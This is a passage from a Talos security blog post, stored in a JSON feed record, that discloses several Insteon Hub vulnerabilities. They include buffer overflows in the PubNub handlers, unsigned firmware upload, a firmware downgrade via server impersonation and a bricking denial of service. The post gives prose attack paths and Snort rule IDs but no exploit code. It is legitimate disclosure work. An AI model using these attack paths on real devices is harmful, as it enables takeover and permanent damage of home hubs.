vulnerability exists because the extraction of the arguments is made without ensuring size constraints. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \n\n\nCVE: CVE-2017-14446\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0495>).\n\n \n\n\n#### TALOS-2017-0496 - Insteon Hub PubNub \"ad\" Channel Message Handler Code Execution Vulnerability\n\nAn exploitable buffer overflow vulnerability exists in the PubNub message handler for the \"ad\" channel. A specially crafted command sent through the PubNub service can cause a stack-based buffer overflow, overwriting arbitrary data. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \n\n\nCVE: CVE-2017-14447\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0496>).\n\n \n\n\n#### TALOS-2017-0502 - Insteon Hub PubNub control Channel Message Handler Code Execution Vulnerabilities\n\nAn exploitable buffer overflow vulnerability exists in the way the Hub handles the replies from PubNub, leading to the overwriting of arbitrary data in a global section. The attacker would need to impersonate PubNub and answer an HTTPS GET request to trigger this vulnerability.\n\n \n\n\nCVE: CVE-2017-14452, CVE-2017-14453, CVE-2017-14454, CVE-2017-14455\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0502>).\n\n \n\n\n#### TALOS-2018-0511 - Insteon Hub PubNub MPFS Upload Firmware Update Vulnerability\n\nThe HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker needs to have credentials that will be used to upload an MPFS binary via the \"/mpfsupload\" HTTP form and, later, upload the firmware via a POST request to \"firmware.htm.\"\n\n \n\n\nThis vulnerability was found on firmware version 1013.\n\n \n\n\nCVE: CVE-2018-3832\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0511>).\n\n \n\n\n#### TALOS-2018-0512 - Insteon Hub PubNub Firmware Downgrade Vulnerability\n\nAn exploitable firmware downgrade vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn't check the firmware version that is going to be installed, and thus allows for flashing older firmware images. To trigger this vulnerability, an attacker needs to impersonate the remote server \"cache.insteon.com\" and serve any signed firmware image.\n\n \n\n\nCVE: CVE-2018-3833\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0512>).\n\n \n\n\n#### TALOS-2018-0513 - Insteon Hub PubNub Firmware Upgrade Confusion Permanent Denial Of Service Vulnerability\n\nAn exploitable permanent DoS vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn't check the kind of firmware image that is going to be installed, and thus allows for flashing any signed firmware into any MCU. Since the device contains different and incompatible MCUs, flashing one firmware to the wrong MCU will result in a permanent unusable condition. To trigger this vulnerability, an attacker needs to impersonate the remote server \"cache.insteon.com\" and serve a signed firmware image.\n\n \n\n\nCVE: CVE-2018-3834\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0513>).\n\n \n\n\n### Discussion\n\n \n\n\nOur previous vulnerability research on IoT devices ([Fosca](<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>)[m C1](<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>)[ Vulnerabilities](<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>), [Circle with Disney](<http://blog.talosintelligence.com/2017/10/vulnerability-spotlight-circle.html>)) has shown that these kinds of devices are often vulnerable. \n\n \n\n\nAlthough several vulnerabilities were also found on Insteon Hub PubNub, some leading to remote code execution, it is worth mentioning that in order to exploit such vulnerabilities, the attacker needs to be in a privileged position. Some vulnerabilities require authentication into the PubNub portal. For others, the attacker needs to be in a position to perform a man-in-the-middle attack. Finally, the device itself also partially mitigates the vulnerability by limiting the size of the HTTP requests, which was proven effective in one of the vulnerabilities.\n\n \n\n\n### Coverage\n\n \n\n\nThe following Snort rules will detect exploitation attempts. Note that additional rules may be released at a future date, and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or [Snort.org](<http://snort.org/>)\n\n \n\n\nSnort Rules: 45441, 45422, 44863, 45049, 45086, 45087, 44863, 45088 \n\n \n\n\n \n", "modified": "2018-06-19T15:32:34", "published": "2018-06-19T08:25:00", "id": "TALOSBLOG:DB2AAA2E62EF3827DD86FE6704A534FE", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/cPFlRcCfw9o/multiple-vuln-insteon.html", "type": "talosblog", "title": "Vulnerability Spotlight: Multiple Remote Vulnerabilities In Insteon Hub PubNub", "cvss": {"score": 0.0, "vector": "NONE"}}]}
